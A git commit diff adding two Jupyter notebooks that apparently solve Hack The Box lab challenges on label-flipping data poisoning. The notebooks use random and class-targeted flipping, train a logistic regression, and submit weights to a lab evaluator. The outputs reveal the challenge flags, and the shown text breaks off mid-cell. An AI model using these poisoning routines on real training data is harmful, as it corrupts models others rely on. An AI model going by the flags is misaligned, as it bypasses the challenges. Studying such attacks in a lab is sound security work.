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This commit is contained in:
Jeremy Janella
@@ -0,0 +1,4 @@
|
||||
**/.ipynb_checkpoints/
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||||
**/*_batch_*
|
||||
**/*.ppm
|
||||
**/*.mat
|
||||
File diff suppressed because one or more lines are too long
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
@@ -0,0 +1,324 @@
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 1,
|
||||
"id": "71d433a3-8db5-455c-b518-c8c91e5b18e2",
|
||||
"metadata": {},
|
||||
"outputs": [],
|
||||
"source": [
|
||||
"import numpy as np\n",
|
||||
"import json\n",
|
||||
"import requests\n",
|
||||
"from sklearn.linear_model import LogisticRegression\n",
|
||||
"import os\n",
|
||||
"\n",
|
||||
"# Replace <EVALUATOR_IP> and <PORT> with the correct values\n",
|
||||
"evaluator_base_url = \"http://154.57.164.81:30900\"\n",
|
||||
"# Example: evaluator_base_url = \"http://127.0.0.1:5000\"\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 2,
|
||||
"id": "7049870b-0c71-49ca-9baf-6b2cef2994f0",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Data loaded successfully from single .npz file.\n",
|
||||
"X_train shape: (700, 2)\n",
|
||||
"y_train shape: (700,)\n",
|
||||
"X_test shape: (300, 2)\n",
|
||||
"y_test shape: (300,)\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"dataset_filename = \"label_flipping_dataset.npz\"\n",
|
||||
"\n",
|
||||
"try:\n",
|
||||
" data = np.load(dataset_filename)\n",
|
||||
" X_train = data[\"Xtr\"]\n",
|
||||
" y_train = data[\"ytr\"]\n",
|
||||
" X_test = data[\"Xte\"]\n",
|
||||
" y_test = data[\"yte\"]\n",
|
||||
" print(\"Data loaded successfully from single .npz file.\")\n",
|
||||
" print(f\"X_train shape: {X_train.shape}\")\n",
|
||||
" print(f\"y_train shape: {y_train.shape}\")\n",
|
||||
" print(f\"X_test shape: {X_test.shape}\")\n",
|
||||
" print(f\"y_test shape: {y_test.shape}\")\n",
|
||||
" data.close()\n",
|
||||
"except FileNotFoundError:\n",
|
||||
" print(f\"Error: Dataset file '{dataset_filename}' not found.\")\n",
|
||||
" print(\"Make sure the .npz data file is in the correct directory.\")\n",
|
||||
" raise\n",
|
||||
"except KeyError as e:\n",
|
||||
" print(f\"Error: Could not find expected array key '{e}' in the .npz file.\")\n",
|
||||
" raise"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 3,
|
||||
"id": "ab16fc6b-f5bb-4090-aba4-d0fafba2329d",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Flipping 420 labels (60.0%).\n",
|
||||
"Shape of poisoned labels: (700,)\n",
|
||||
"Number of labels flipped: 420\n",
|
||||
"Original labels at flipped indices (first 5): [1 1 0 1 1]\n",
|
||||
"Poisoned labels at flipped indices (first 5): [0 0 1 0 0]\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"# Implement your attack code in this stub\n",
|
||||
"def flip_labels(y, poison_percentage, seed):\n",
|
||||
" if not 0 <= poison_percentage <= 1:\n",
|
||||
" raise ValueError(\"poison_percentage must be between 0 and 1.\")\n",
|
||||
"\n",
|
||||
" n_samples = len(y)\n",
|
||||
" n_to_flip = int(n_samples * poison_percentage)\n",
|
||||
"\n",
|
||||
" if n_to_flip == 0:\n",
|
||||
" print(\"Warning: Poison percentage is 0 or too low to flip any labels.\")\n",
|
||||
" # Return unchanged labels and empty indices if no flips are needed\n",
|
||||
" return y.copy(), np.array([], dtype=int)\n",
|
||||
"\n",
|
||||
" # Use the defined SEED for the random number generator\n",
|
||||
" rng_instance = np.random.default_rng(seed)\n",
|
||||
" # Select unique indices to flip\n",
|
||||
" flipped_indices = rng_instance.choice(n_samples, size=n_to_flip, replace=False)\n",
|
||||
" \n",
|
||||
" # Create a copy to avoid modifying the original array\n",
|
||||
" y_poisoned = y.copy()\n",
|
||||
"\n",
|
||||
" # Get the original labels at the indices we are about to flip\n",
|
||||
" original_labels_at_flipped = y_poisoned[flipped_indices]\n",
|
||||
"\n",
|
||||
" # Apply the flip: if original was 0, set to 1; otherwise (if 1), set to 0\n",
|
||||
" y_poisoned[flipped_indices] = np.where(original_labels_at_flipped == 0, 1, 0)\n",
|
||||
"\n",
|
||||
" print(f\"Flipping {n_to_flip} labels ({poison_percentage * 100:.1f}%).\")\n",
|
||||
"\n",
|
||||
" return y_poisoned, flipped_indices\n",
|
||||
"# ------------------------------------------------------------------------\n",
|
||||
"# --- The rest is templated and you should not need to change anything ---\n",
|
||||
"# ------------------------------------------------------------------------\n",
|
||||
"poison_rate = 0.60\n",
|
||||
"random_seed = 1337\n",
|
||||
"y_train_poisoned, flipped_idx = flip_labels(y_train, poison_rate, random_seed)\n",
|
||||
"\n",
|
||||
"print(f\"Shape of poisoned labels: {y_train_poisoned.shape}\")\n",
|
||||
"print(f\"Number of labels flipped: {len(flipped_idx)}\")\n",
|
||||
"print(f\"Original labels at flipped indices (first 5): {y_train[flipped_idx[:5]]}\")\n",
|
||||
"print(\n",
|
||||
" f\"Poisoned labels at flipped indices (first 5): {y_train_poisoned[flipped_idx[:5]]}\"\n",
|
||||
")\n"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 4,
|
||||
"id": "95fabebd-46b6-46d8-8cd3-b1dc69c87545",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Model trained successfully on poisoned data.\n",
|
||||
"Extracted weights (shape): (1, 2)\n",
|
||||
"Extracted intercept (shape): (1,)\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"model = LogisticRegression(random_state=random_seed)\n",
|
||||
"model.fit(X_train, y_train_poisoned)\n",
|
||||
"print(\"Model trained successfully on poisoned data.\")\n",
|
||||
"weights = model.coef_\n",
|
||||
"intercept = model.intercept_\n",
|
||||
"print(f\"Extracted weights (shape): {weights.shape}\")\n",
|
||||
"print(f\"Extracted intercept (shape): {intercept.shape}\")"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 5,
|
||||
"id": "176d29b4-3afe-4397-87d8-7d1d7fc1b9ad",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Checking evaluator health at: http://154.57.164.81:30900/health\n",
|
||||
"\n",
|
||||
"--- Health Check Response ---\n",
|
||||
"Status: healthy\n",
|
||||
"Message: Evaluator API running.\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"health_check_url = f\"{evaluator_base_url}/health\"\n",
|
||||
"print(f\"Checking evaluator health at: {health_check_url}\")\n",
|
||||
"if \"<EVALUATOR_IP>\" in evaluator_base_url:\n",
|
||||
" print(\"\\n--- WARNING ---\")\n",
|
||||
" print(\n",
|
||||
" \"Please update the 'evaluator_base_url' variable with the correct IP and Port before running!\"\n",
|
||||
" )\n",
|
||||
" print(\"-------------\")\n",
|
||||
"else:\n",
|
||||
" try:\n",
|
||||
" response = requests.get(health_check_url, timeout=10)\n",
|
||||
" response.raise_for_status()\n",
|
||||
" health_status = response.json()\n",
|
||||
" print(\"\\n--- Health Check Response ---\")\n",
|
||||
" print(f\"Status: {health_status.get('status', 'N/A')}\")\n",
|
||||
" print(f\"Message: {health_status.get('message', 'No message received.')}\")\n",
|
||||
" if health_status.get(\"status\") != \"healthy\":\n",
|
||||
" print(\n",
|
||||
" \"\\nWarning: Evaluator service reported an unhealthy status. It might still be starting up or encountered an issue (like loading data).\"\n",
|
||||
" )\n",
|
||||
" except requests.exceptions.ConnectionError as e:\n",
|
||||
" print(f\"\\nConnection Error: Could not connect to {health_check_url}.\")\n",
|
||||
" print(\"Please check:\")\n",
|
||||
" print(\" 1. The evaluator URL (IP address and port) is correct.\")\n",
|
||||
" print(\" 2. The evaluator Docker container is running.\")\n",
|
||||
" print(\n",
|
||||
" \" 3. There are no network issues (firewalls, etc.) blocking the connection.\"\n",
|
||||
" )\n",
|
||||
" except requests.exceptions.Timeout:\n",
|
||||
" print(f\"\\nTimeout Error: The request to {health_check_url} timed out.\")\n",
|
||||
" print(\n",
|
||||
" \"The server might be taking too long to respond or there could be network issues.\"\n",
|
||||
" )\n",
|
||||
" except requests.exceptions.RequestException as e:\n",
|
||||
" print(f\"\\nError during health check request: {e}\")\n",
|
||||
" print(\"Check the URL format and ensure the server is running.\")\n",
|
||||
" except json.JSONDecodeError:\n",
|
||||
" print(\"\\nError: Could not decode JSON response from health check.\")\n",
|
||||
" print(\"The server might have sent an invalid response.\")\n",
|
||||
" print(\n",
|
||||
" f\"Raw response status: {response.status_code}, Raw response text: {response.text}\"\n",
|
||||
" )\n",
|
||||
" except Exception as e:\n",
|
||||
" print(f\"\\nAn unexpected error occurred during health check: {e}\")"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 6,
|
||||
"id": "1d792cad-56e0-413b-8e1e-08d9e0ac1468",
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Attempting submission to: http://154.57.164.81:30900/evaluate\n",
|
||||
"Payload: {\"weights\": [[-0.12683149742377367, 0.02548467051700444]], \"intercept\": [0.29202685494234054]}\n",
|
||||
"\n",
|
||||
"--- Evaluator Response ---\n",
|
||||
"Attack Successful!\n",
|
||||
"Accuracy evaluated by server: 0.0033\n",
|
||||
"Flag: HTB{l4b3l_fl1pp1ng_pwnz_d3f4ult}\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"evaluator_url = f\"{evaluator_base_url}/evaluate\"\n",
|
||||
"payload = {\"weights\": weights.tolist(), \"intercept\": intercept.tolist()}\n",
|
||||
"print(f\"Attempting submission to: {evaluator_url}\")\n",
|
||||
"if \"<EVALUATOR_IP>\" in evaluator_base_url:\n",
|
||||
" print(\"\\n--- WARNING ---\")\n",
|
||||
" print(\n",
|
||||
" \"Please update the 'evaluator_base_url' variable with the correct IP address and Port before running this cell!\"\n",
|
||||
" )\n",
|
||||
" print(\"-------------\")\n",
|
||||
"else:\n",
|
||||
" print(f\"Payload: {json.dumps(payload)}\")\n",
|
||||
" try:\n",
|
||||
" response = requests.post(evaluator_url, json=payload, timeout=30)\n",
|
||||
" response.raise_for_status()\n",
|
||||
" result = response.json()\n",
|
||||
" print(\"\\n--- Evaluator Response ---\")\n",
|
||||
" if result.get(\"success\"):\n",
|
||||
" print(\"Attack Successful!\")\n",
|
||||
" print(f\"Accuracy evaluated by server: {result.get('accuracy'):.4f}\")\n",
|
||||
" print(f\"Flag: {result.get('flag')}\")\n",
|
||||
" else:\n",
|
||||
" print(\"Evaluation Failed.\")\n",
|
||||
" accuracy_val = result.get(\"accuracy\")\n",
|
||||
" accuracy_str = f\"{accuracy_val:.4f}\" if accuracy_val is not None else \"N/A\"\n",
|
||||
" print(f\"Accuracy evaluated by server: {accuracy_str}\")\n",
|
||||
" print(f\"Message: {result.get('message')}\")\n",
|
||||
" print(\n",
|
||||
" \"Hints: Did you poison exactly 60% of the data? Did you use the seed 1337 for flipping labels?\"\n",
|
||||
" )\n",
|
||||
" except requests.exceptions.ConnectionError as e:\n",
|
||||
" print(\n",
|
||||
" f\"\\nConnection Error: Could not connect to the evaluator API at {evaluator_url}.\"\n",
|
||||
" )\n",
|
||||
" print(\"Please check:\")\n",
|
||||
" print(\" 1. The evaluator URL (IP address and port) is correct.\")\n",
|
||||
" print(\" 2. The evaluator Docker instance is spawned.\")\n",
|
||||
" print(\n",
|
||||
" \" 3. There are no network issues (firewalls, etc.) blocking the connection.\"\n",
|
||||
" )\n",
|
||||
" except requests.exceptions.Timeout:\n",
|
||||
" print(f\"\\nTimeout Error: The request to {evaluator_url} timed out.\")\n",
|
||||
" print(\"The server might be slow, or there could be network issues.\")\n",
|
||||
" except requests.exceptions.RequestException as e:\n",
|
||||
" print(f\"\\nError connecting to evaluator API: {e}\")\n",
|
||||
" print(\"Please check the evaluator URL and ensure the instance is spawned.\")\n",
|
||||
" except json.JSONDecodeError:\n",
|
||||
" print(\"\\nError decoding JSON response from the evaluator.\")\n",
|
||||
" print(\"The server might have sent an invalid response.\")\n",
|
||||
" print(\n",
|
||||
" f\"Raw response status: {response.status_code}, Raw response text: {response.text}\"\n",
|
||||
" )\n",
|
||||
" except Exception as e:\n",
|
||||
" print(f\"\\nAn unexpected error occurred: {e}\")"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": null,
|
||||
"id": "4aabb361-8bbe-409d-888f-acab35ee3d97",
|
||||
"metadata": {},
|
||||
"outputs": [],
|
||||
"source": []
|
||||
}
|
||||
],
|
||||
"metadata": {
|
||||
"kernelspec": {
|
||||
"display_name": "Python 3 (ipykernel)",
|
||||
"language": "python",
|
||||
"name": "python3"
|
||||
},
|
||||
"language_info": {
|
||||
"codemirror_mode": {
|
||||
"name": "ipython",
|
||||
"version": 3
|
||||
},
|
||||
"file_extension": ".py",
|
||||
"mimetype": "text/x-python",
|
||||
"name": "python",
|
||||
"nbconvert_exporter": "python",
|
||||
"pygments_lexer": "ipython3",
|
||||
"version": "3.11.6"
|
||||
}
|
||||
},
|
||||
"nbformat": 4,
|
||||
"nbformat_minor": 5
|
||||
}
|
||||
Binary file not shown.
Binary file not shown.
File diff suppressed because one or more lines are too long
Binary file not shown.
@@ -0,0 +1,430 @@
|
||||
{
|
||||
"cells": [
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 1,
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Loading data from: label_flipping_dataset.npz\n",
|
||||
"Data loaded successfully.\n",
|
||||
"X_train shape: (700, 2), y_train shape: (700,)\n",
|
||||
"Unique classes in training data: [0 1]\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"import numpy as np\n",
|
||||
"import json\n",
|
||||
"import requests\n",
|
||||
"from sklearn.linear_model import LogisticRegression\n",
|
||||
"import os\n",
|
||||
"\n",
|
||||
"dataset_filename = \"label_flipping_dataset.npz\"\n",
|
||||
"random_seed = 1337 # Seed for reproducibility in attack & model training\n",
|
||||
"np.random.seed(random_seed) # Apply seed globally if needed, or pass to functions\n",
|
||||
"\n",
|
||||
"# >>> IMPORTANT: SET THIS VARIABLE TO YOUR SPAWNED INSTANCE IP AND PORT<<<\n",
|
||||
"evaluator_base_url = \"http://154.57.164.78:32553\" # CHANGE THIS\n",
|
||||
"# Example: evaluator_base_url = \"http://10.10.10.1:5555\"\n",
|
||||
"\n",
|
||||
"# Attack Configuration\n",
|
||||
"TARGET_CLASS_TO_POISON = 0 # We want to make the model bad at identifying Class 0\n",
|
||||
"NEW_LABEL_FOR_POISONED = 1 # We want it to predict Class 1 instead\n",
|
||||
"POISON_FRACTION = 0.60\n",
|
||||
"\n",
|
||||
"# Load Data\n",
|
||||
"print(f\"Loading data from: {dataset_filename}\")\n",
|
||||
"try:\n",
|
||||
" data = np.load(dataset_filename)\n",
|
||||
" X_train = data[\"Xtr\"]\n",
|
||||
" y_train = data[\"ytr\"]\n",
|
||||
" X_test = data[\"Xte\"]\n",
|
||||
" y_test = data[\"yte\"]\n",
|
||||
" print(\"Data loaded successfully.\")\n",
|
||||
" print(f\"X_train shape: {X_train.shape}, y_train shape: {y_train.shape}\")\n",
|
||||
" unique_classes_train = np.unique(y_train)\n",
|
||||
" print(f\"Unique classes in training data: {unique_classes_train}\")\n",
|
||||
" if (\n",
|
||||
" TARGET_CLASS_TO_POISON not in unique_classes_train\n",
|
||||
" or NEW_LABEL_FOR_POISONED not in unique_classes_train\n",
|
||||
" ):\n",
|
||||
" print(\"Warning: Target or new label class not found in training data.\")\n",
|
||||
" data.close()\n",
|
||||
"except FileNotFoundError:\n",
|
||||
" print(f\"Error: Dataset file '{dataset_filename}' not found.\")\n",
|
||||
" raise\n",
|
||||
"except KeyError as e:\n",
|
||||
" print(f\"Error: Could not find expected array key '{e}' in the .npz file.\")\n",
|
||||
" raise\n",
|
||||
"except Exception as e:\n",
|
||||
" print(f\"An unexpected error occurred during data loading: {e}\")\n",
|
||||
" raise"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 2,
|
||||
"metadata": {},
|
||||
"outputs": [],
|
||||
"source": [
|
||||
"# def targeted_flip_labels(y, poison_percentage, target_class, new_class, seed=1337):\n",
|
||||
"def targeted_class_label_flip(y_train, target_class, new_label, poison_fraction, seed):\n",
|
||||
" if not 0 <= poison_fraction <= 1:\n",
|
||||
" raise ValueError(\"poison_fraction must be between 0 and 1.\")\n",
|
||||
" if target_class == new_label:\n",
|
||||
" raise ValueError(\"target_class and new_label cannot be the same.\")\n",
|
||||
" # Ensure target_class and new_label are present in y_train\n",
|
||||
" unique_labels = np.unique(y_train)\n",
|
||||
" if target_class not in unique_labels:\n",
|
||||
" raise ValueError(f\"target_class ({target_class}) does not exist in y_train.\")\n",
|
||||
" if new_label not in unique_labels:\n",
|
||||
" raise ValueError(f\"new_label ({new_label}) does not exist in y_train.\")\n",
|
||||
" \n",
|
||||
" # Identify indices belonging to the target class\n",
|
||||
" target_indices = np.where(y_train == target_class)[0]\n",
|
||||
" n_target_samples = len(target_indices)\n",
|
||||
"\n",
|
||||
" if n_target_samples == 0:\n",
|
||||
" print(f\"Warning: No samples found for target_class {target_class}. No labels flipped.\")\n",
|
||||
" return y_train.copy(), np.array([], dtype=int)\n",
|
||||
" \n",
|
||||
" # Calculate the number of labels to flip within the target class\n",
|
||||
" n_to_flip = int(n_target_samples * poison_fraction)\n",
|
||||
"\n",
|
||||
" if n_to_flip == 0:\n",
|
||||
" print(f\"Warning: Poison percentage ({poison_fraction * 100:.1f}%) is too low \"\n",
|
||||
" f\"to flip any labels in the target class (size {n_target_samples}).\")\n",
|
||||
" return y_train.copy(), np.array([], dtype=int)\n",
|
||||
"\n",
|
||||
" # Use a dedicated random number generator instance with the specified seed\n",
|
||||
" rng_instance = np.random.default_rng(seed)\n",
|
||||
"\n",
|
||||
" # Randomly select indices from the target_indices subset to flip\n",
|
||||
" # These are indices relative to the target_indices array\n",
|
||||
" indices_within_target_set_to_flip = rng_instance.choice(\n",
|
||||
" n_target_samples, size=n_to_flip, replace=False\n",
|
||||
" )\n",
|
||||
" # Map these back to the original array indices\n",
|
||||
" flipped_indices = target_indices[indices_within_target_set_to_flip]\n",
|
||||
"\n",
|
||||
" # Create a copy to avoid modifying the original array\n",
|
||||
" y_poisoned = y_train.copy()\n",
|
||||
"\n",
|
||||
" # Perform the flip for the selected indices to the new class label\n",
|
||||
" y_poisoned[flipped_indices] = new_label\n",
|
||||
"\n",
|
||||
" print(f\"Targeting Class {target_class} for flipping to Class {new_label}.\")\n",
|
||||
" print(f\"Identified {n_target_samples} samples of Class {target_class}.\")\n",
|
||||
" print(f\"Attempting to flip {poison_fraction * 100:.1f}% ({n_to_flip} samples) of these.\")\n",
|
||||
" print(f\"Successfully flipped {len(flipped_indices)} labels.\")\n",
|
||||
"\n",
|
||||
" return y_poisoned, flipped_indices"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 3,
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Targeting Class 0 for flipping to Class 1.\n",
|
||||
"Identified 347 samples of Class 0.\n",
|
||||
"Attempting to flip 60.0% (208 samples) of these.\n",
|
||||
"Successfully flipped 208 labels.\n",
|
||||
"\n",
|
||||
"--- Post-Attack Checks ---\n",
|
||||
"Attack function executed, 208 label(s) flipped.\n",
|
||||
"Indices of flipped labels in training data (first 10): [672 170 374 91 1 224 145 644 233 27]\n",
|
||||
"Original labels at flipped indices (first 10): [0 0 0 0 0 0 0 0 0 0]\n",
|
||||
"Poisoned labels at flipped indices (first 10): [1 1 1 1 1 1 1 1 1 1]\n",
|
||||
"Shape of poisoned labels array: (700,)\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"# Execute the attack\n",
|
||||
"y_train_poisoned, flipped_idx = targeted_class_label_flip(\n",
|
||||
" y_train,\n",
|
||||
" target_class=TARGET_CLASS_TO_POISON,\n",
|
||||
" new_label=NEW_LABEL_FOR_POISONED,\n",
|
||||
" poison_fraction=POISON_FRACTION,\n",
|
||||
" seed=random_seed,\n",
|
||||
")\n",
|
||||
"\n",
|
||||
"# Basic Checks\n",
|
||||
"print(\"\\n--- Post-Attack Checks ---\")\n",
|
||||
"if flipped_idx.size > 0:\n",
|
||||
" print(f\"Attack function executed, {len(flipped_idx)} label(s) flipped.\")\n",
|
||||
" print(f\"Indices of flipped labels in training data (first 10): {flipped_idx[:10]}\")\n",
|
||||
" print(f\"Original labels at flipped indices (first 10): {y_train[flipped_idx[:10]]}\")\n",
|
||||
" print(\n",
|
||||
" f\"Poisoned labels at flipped indices (first 10): {y_train_poisoned[flipped_idx[:10]]}\"\n",
|
||||
" )\n",
|
||||
" print(f\"Shape of poisoned labels array: {y_train_poisoned.shape}\")\n",
|
||||
"else:\n",
|
||||
" print(\n",
|
||||
" \"Attack function ran, but no labels were flipped (check settings and warnings).\"\n",
|
||||
" )\n",
|
||||
" print(\"Proceeding with potentially unpoisoned labels.\")"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 4,
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"\n",
|
||||
"--- Training Model on Poisoned Labels ---\n",
|
||||
"Logistic Regression model trained successfully.\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"# %%\n",
|
||||
"# Train Model using Logistic Regression (Same as before)\n",
|
||||
"print(\"\\n--- Training Model on Poisoned Labels ---\")\n",
|
||||
"model = LogisticRegression(random_state=random_seed, solver=\"liblinear\")\n",
|
||||
"\n",
|
||||
"try:\n",
|
||||
" # Train on original features but poisoned labels\n",
|
||||
" model.fit(X_train, y_train_poisoned)\n",
|
||||
" print(\"Logistic Regression model trained successfully.\")\n",
|
||||
"except Exception as e:\n",
|
||||
" print(f\"Error during model training: {e}\")\n",
|
||||
" raise"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 5,
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"\n",
|
||||
"--- Extracting Model Parameters ---\n",
|
||||
"Extracted weights shape: (1, 2)\n",
|
||||
"Extracted intercept shape: (1,)\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"print(\"\\n--- Extracting Model Parameters ---\")\n",
|
||||
"try:\n",
|
||||
" weights = model.coef_\n",
|
||||
" intercept = model.intercept_\n",
|
||||
" print(f\"Extracted weights shape: {weights.shape}\")\n",
|
||||
" print(f\"Extracted intercept shape: {intercept.shape}\")\n",
|
||||
" weights_list = weights.tolist()\n",
|
||||
" intercept_list = intercept.tolist()\n",
|
||||
" parameters_extracted = True\n",
|
||||
"except Exception as e:\n",
|
||||
" print(f\"An unexpected error occurred during parameter extraction: {e}\")\n",
|
||||
" weights_list = None\n",
|
||||
" intercept_list = None\n",
|
||||
" parameters_extracted = False"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 6,
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"Checking evaluator health at: http://154.57.164.78:32553/health\n",
|
||||
"\n",
|
||||
"--- Health Check Response ---\n",
|
||||
"Status: healthy\n",
|
||||
"Message: Evaluator API running.\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"health_check_url = f\"{evaluator_base_url}/health\"\n",
|
||||
"print(f\"Checking evaluator health at: {health_check_url}\")\n",
|
||||
"if \"<EVALUATOR_IP>\" in evaluator_base_url:\n",
|
||||
" print(\"\\n--- WARNING ---\")\n",
|
||||
" print(\n",
|
||||
" \"Please update the 'evaluator_base_url' variable with the correct IP and Port before running!\"\n",
|
||||
" )\n",
|
||||
" print(\"-------------\")\n",
|
||||
"else:\n",
|
||||
" try:\n",
|
||||
" response = requests.get(health_check_url, timeout=10)\n",
|
||||
" response.raise_for_status()\n",
|
||||
" health_status = response.json()\n",
|
||||
" print(\"\\n--- Health Check Response ---\")\n",
|
||||
" print(f\"Status: {health_status.get('status', 'N/A')}\")\n",
|
||||
" print(f\"Message: {health_status.get('message', 'No message received.')}\")\n",
|
||||
" if health_status.get(\"status\") != \"healthy\":\n",
|
||||
" print(\n",
|
||||
" \"\\nWarning: Evaluator service reported an unhealthy status. It might still be starting up or encountered an issue (like loading data).\"\n",
|
||||
" )\n",
|
||||
" except requests.exceptions.ConnectionError as e:\n",
|
||||
" print(f\"\\nConnection Error: Could not connect to {health_check_url}.\")\n",
|
||||
" print(\"Please check:\")\n",
|
||||
" print(\" 1. The evaluator URL (IP address and port) is correct.\")\n",
|
||||
" print(\" 2. The evaluator Docker container is running.\")\n",
|
||||
" print(\n",
|
||||
" \" 3. There are no network issues (firewalls, etc.) blocking the connection.\"\n",
|
||||
" )\n",
|
||||
" except requests.exceptions.Timeout:\n",
|
||||
" print(f\"\\nTimeout Error: The request to {health_check_url} timed out.\")\n",
|
||||
" print(\n",
|
||||
" \"The server might be taking too long to respond or there could be network issues.\"\n",
|
||||
" )\n",
|
||||
" except requests.exceptions.RequestException as e:\n",
|
||||
" print(f\"\\nError during health check request: {e}\")\n",
|
||||
" print(\"Check the URL format and ensure the server is running.\")\n",
|
||||
" except json.JSONDecodeError:\n",
|
||||
" print(\"\\nError: Could not decode JSON response from health check.\")\n",
|
||||
" print(\"The server might have sent an invalid response.\")\n",
|
||||
" print(\n",
|
||||
" f\"Raw response status: {response.status_code}, Raw response text: {response.text}\"\n",
|
||||
" )\n",
|
||||
" except Exception as e:\n",
|
||||
" print(f\"\\nAn unexpected error occurred during health check: {e}\")"
|
||||
]
|
||||
},
|
||||
{
|
||||
"cell_type": "code",
|
||||
"execution_count": 7,
|
||||
"metadata": {},
|
||||
"outputs": [
|
||||
{
|
||||
"name": "stdout",
|
||||
"output_type": "stream",
|
||||
"text": [
|
||||
"\n",
|
||||
"Attempting submission to: http://154.57.164.78:32553/evaluate_targeted\n",
|
||||
"Payload preview: {\n",
|
||||
" \"coef\": [\n",
|
||||
" [\n",
|
||||
" 0.5122360892231508,\n",
|
||||
" -0.22736468024302808\n",
|
||||
" ]\n",
|
||||
" ],\n",
|
||||
" \"intercept\": [\n",
|
||||
" 1.59578101904743\n",
|
||||
" ]\n",
|
||||
"}\n",
|
||||
"\n",
|
||||
"--- Evaluator Response ---\n",
|
||||
"========== Attack Successful! ==========\n",
|
||||
"Overall Accuracy evaluated: 0.6100\n",
|
||||
"Accuracy on Class 0 samples: 0.2353\n",
|
||||
"Message: Attack successful! Model accuracy on Class 0 (0.2353) is below threshold. Overall accuracy (0.6100) maintained.\n",
|
||||
"\n",
|
||||
"FLAG: HTB{l4b3l_fl1pp1ng_targeted_pwnz}\n",
|
||||
"======================================\n"
|
||||
]
|
||||
}
|
||||
],
|
||||
"source": [
|
||||
"evaluator_url = f\"{evaluator_base_url}/evaluate_targeted\"\n",
|
||||
"print(f\"\\nAttempting submission to: {evaluator_url}\")\n",
|
||||
"\n",
|
||||
"if not parameters_extracted:\n",
|
||||
" print(\"Error: Cannot submit - parameters not extracted.\")\n",
|
||||
"elif \"<EVALUATOR_IP>\" in evaluator_base_url or \"<PORT>\" in evaluator_base_url:\n",
|
||||
" print(\"\\n--- WARNING: Update evaluator_base_url ---\")\n",
|
||||
"else:\n",
|
||||
" payload = {\"coef\": weights_list, \"intercept\": intercept_list}\n",
|
||||
" print(f\"Payload preview: {json.dumps(payload, indent=2)}\")\n",
|
||||
"\n",
|
||||
" try:\n",
|
||||
" response = requests.post(evaluator_url, json=payload, timeout=30)\n",
|
||||
" response.raise_for_status()\n",
|
||||
" result = response.json()\n",
|
||||
"\n",
|
||||
" print(\"\\n--- Evaluator Response ---\")\n",
|
||||
" if result.get(\"success\"):\n",
|
||||
" print(f\"{'=' * 10} Attack Successful! {'=' * 10}\")\n",
|
||||
" oa_str = (\n",
|
||||
" f\"{result.get('overall_accuracy', 'N/A'):.4f}\"\n",
|
||||
" if isinstance(result.get(\"overall_accuracy\"), (int, float))\n",
|
||||
" else \"N/A\"\n",
|
||||
" )\n",
|
||||
" c0a_str = (\n",
|
||||
" f\"{result.get('class0_accuracy', 'N/A'):.4f}\"\n",
|
||||
" if isinstance(result.get(\"class0_accuracy\"), (int, float))\n",
|
||||
" else \"N/A\"\n",
|
||||
" ) # Get Class 0 Accuracy\n",
|
||||
" print(f\"Overall Accuracy evaluated: {oa_str}\")\n",
|
||||
" print(f\"Accuracy on Class 0 samples: {c0a_str}\") # Display Class 0 Accuracy\n",
|
||||
" print(f\"Message: {result.get('message', 'N/A')}\")\n",
|
||||
